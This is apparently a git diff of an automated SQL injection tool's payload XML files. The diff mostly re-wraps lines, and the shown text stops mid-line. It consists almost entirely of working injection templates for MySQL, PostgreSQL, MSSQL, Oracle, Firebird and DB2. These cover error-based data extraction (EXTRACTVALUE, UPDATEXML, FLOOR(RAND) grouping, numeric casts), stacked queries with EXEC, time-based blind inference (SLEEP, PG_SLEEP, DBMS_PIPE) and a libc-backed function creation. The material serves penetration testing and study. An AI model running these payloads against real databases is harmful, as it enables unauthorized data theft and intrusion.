[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -935,7 +1063,9 @@ 3 GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -953,9 +1083,13 @@ 1 1,2,3,9 3 - JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING + utf8))) + - JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -973,13 +1107,19 @@ 1 1,2,3,9 3 - (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + (SELECT [RANDNUM] FROM(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM + INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + - (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS + GROUP BY x)a) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1003,7 +1143,9 @@ (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])) (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) --> - (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1027,7 +1169,9 @@ (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))) (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) --> - (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) + (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1047,7 +1191,9 @@ 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) - (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1066,7 +1212,9 @@ 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) - (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1085,7 +1233,9 @@ 3 (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) - (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' + END))+'[DELIMITER_STOP]'))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1105,7 +1255,9 @@ 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' + END))+'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1123,9 +1275,13 @@ 1 1,3 3 - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' + ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + - (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1144,7 +1300,9 @@ 3 (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) - (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END + FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1163,7 +1321,9 @@ 3 RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1182,9 +1342,14 @@ 1 2,3 1 - ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) + ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT + CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, + 8446744073709551610)))x) + - ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) + ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1202,9 +1367,13 @@ 1 2,3 1 - ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s) + ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT + CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s) + - ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s) + ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1224,7 +1393,9 @@ 1 ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1242,9 +1413,13 @@ 1 2,3 1 - ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x) + ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT + CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x) + - ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x) + ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT + CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1262,9 +1437,15 @@ 1 2,3 1 - ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + ,(SELECT 1 FROM(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM + INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + - ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS + GROUP BY x)a) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1284,7 +1465,9 @@ 1 ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1304,7 +1487,9 @@ 1 ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) - ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1322,9 +1507,16 @@ 1 2,3 1 - ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) + ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] + UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) + - ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) + ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT + COUNT(*),CONCAT('[DELIMITER_START]',(SELECT + (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT + [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1344,7 +1536,9 @@ 1 ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) - ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END))::text||'[DELIMITER_STOP]' AS NUMERIC)) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1363,7 +1557,9 @@ 1 ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) - ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1380,9 +1576,13 @@ 1 3 1 - ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) + ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT + '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) + - ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1400,9 +1600,13 @@ 1 2,3 1 - ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' + ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + - ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1421,7 +1625,9 @@ 1 ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) - ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END + FROM RDB$DATABASE)||'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1440,7 +1646,9 @@ 1 ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') - ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1463,9 +1671,13 @@ 1 1-8 1 - ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT + '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] + - ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] + ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN + ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] + -- diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index a05b1c84e..0b39a9f9d 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -11,7 +11,9 @@ 3 (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) - (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) + (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' + END)),'[DELIMITER_STOP]')) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -46,7 +48,9 @@ 3 (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END))::text||'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -65,7 +69,9 @@ 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' + END)+'[DELIMITER_STOP]') + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -86,7 +92,9 @@ (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) + (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) + END)||'[DELIMITER_STOP]' FROM DUAL) + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -105,7 +113,9 @@ 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' - SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' + SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 + END)||'[DELIMITER_STOP]' + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -124,7 +134,9 @@ 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE - SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE + SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' + FROM RDB$DATABASE + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml index b431bb784..40cf8ec54 100644 --- a/data/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -43,7 +43,7 @@
- + MySQL >= 5.0.12 stacked queries (query SLEEP - comment) 4 3 @@ -130,7 +130,9 @@ 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] + END) + ;SELECT PG_SLEEP([SLEEPTIME]) -- @@ -151,7 +153,9 @@ 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] + END) + ;SELECT PG_SLEEP([SLEEPTIME]) @@ -171,7 +175,9 @@ 2 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE + [RANDNUM] END) + ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) -- @@ -191,7 +197,9 @@ 2 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE + [RANDNUM] END) + ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) @@ -210,9 +218,12 @@ 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + - ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) + ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; + SELECT sleep([SLEEPTIME]) + -- @@ -232,9 +243,12 @@ 1 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + - ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) + ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; + SELECT sleep([SLEEPTIME]) + @@ -335,7 +349,9 @@ 1 1-8 1 - ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL + ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] + END FROM DUAL + ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL -- @@ -355,7 +371,9 @@ 1 1-8 1 - ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL + ;SELECT 